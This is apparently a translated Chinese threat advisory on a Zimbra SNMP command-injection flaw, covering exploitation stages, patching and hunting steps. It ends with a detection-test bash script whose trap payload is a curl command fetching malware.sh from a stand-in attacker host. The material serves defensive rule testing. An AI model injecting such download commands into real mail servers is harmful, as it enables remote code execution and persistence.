CVE-2026-73570：未验证命令注入针对面向互联网的邮件服务器

总结

威胁行为体正在积极利用CVE-2026-73570，一个在Zimbra协作套件SNMP通知路径中的未认证操作系统命令注入漏洞。成功利用该漏洞可使攻击者部署JSP webshell，建立反向Shell，并提升权限。观察到的行动将自动化的Payload交付与键盘动手活动相结合，重点在于窃取电子邮件和认证数据。

调查

微软威胁情报通过遥测追踪了利用情况，并检查了多阶段攻击，包括侦察、初始访问、持久化和权限提升。调查人员观察到带外探测用于通过特定子域确认命令执行。分析还揭示了复杂的权限提升，涉及Zimbra服务助手以及包括systemd服务和cron作业在内的多种持久机制。

缓解

组织应立即将Zimbra协作套件升级至10.1.20版本或更高版本以解决漏洞。如果无法及时完成补丁，请卸载可选的 zimbra-snmp 包并禁用SNMP通知。安全团队还应限制作SMTP和SNMP的访问仅限可信主机，并轮换所有Zimbra认证机密。

响应

将反向Shell警报视为需要快速范围界定和凭证审查的高优先级事件。检查Zimbra应用程序和servlet-work目录中是否有意外的JSP文件或最近修改的权限。查看systemd单元是否存在可疑的所有权更改或时间篡改活动，并轮换所有域 zimbraPreAuthKey 值。

模拟执行

• 攻击叙述与命令： 对手识别出一个面向互联网的Zimbra邮件服务器，并利用了SNMP通知处理中的一个漏洞（CVE-2026-73570）。通过发送一个特制的数据包，他们注入Shell元字符，导致SNMP服务执行命令。攻击者的目标是下载一个次要Payload以建立持久化。他们使用 curl 从远程服务器获取脚本，这应触发检测规则中的 Command|contains: curl 逻辑。

• 回归测试脚本：

  #!/bin/bash
  # 通过SNMP trap注入模拟CVE-2026-73570的利用
  # 该脚本模拟将‘curl’命令注入SNMP trap消息。
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # 苦心孤诣的Payload意图被规则捕获
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] 模拟通过SNMP Trap进行命令注入..."
  
  # 我们使用snmptrap模拟一个包含‘curl’字符串的精心制作的trap的到达
  # 在真正的利用中，这将通过一个格式错误的SMTP/SNMP数据包发送
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] 模拟命令已发送。检查SIEM是否有警报：在Zimbra中通过SNMP进行的未认证命令注入"

• 清理命令：

  # 删除在模拟期间创建的任何文件（如果有）
  rm -f /tmp/malware.sh
  echo "[+] 清理完成。"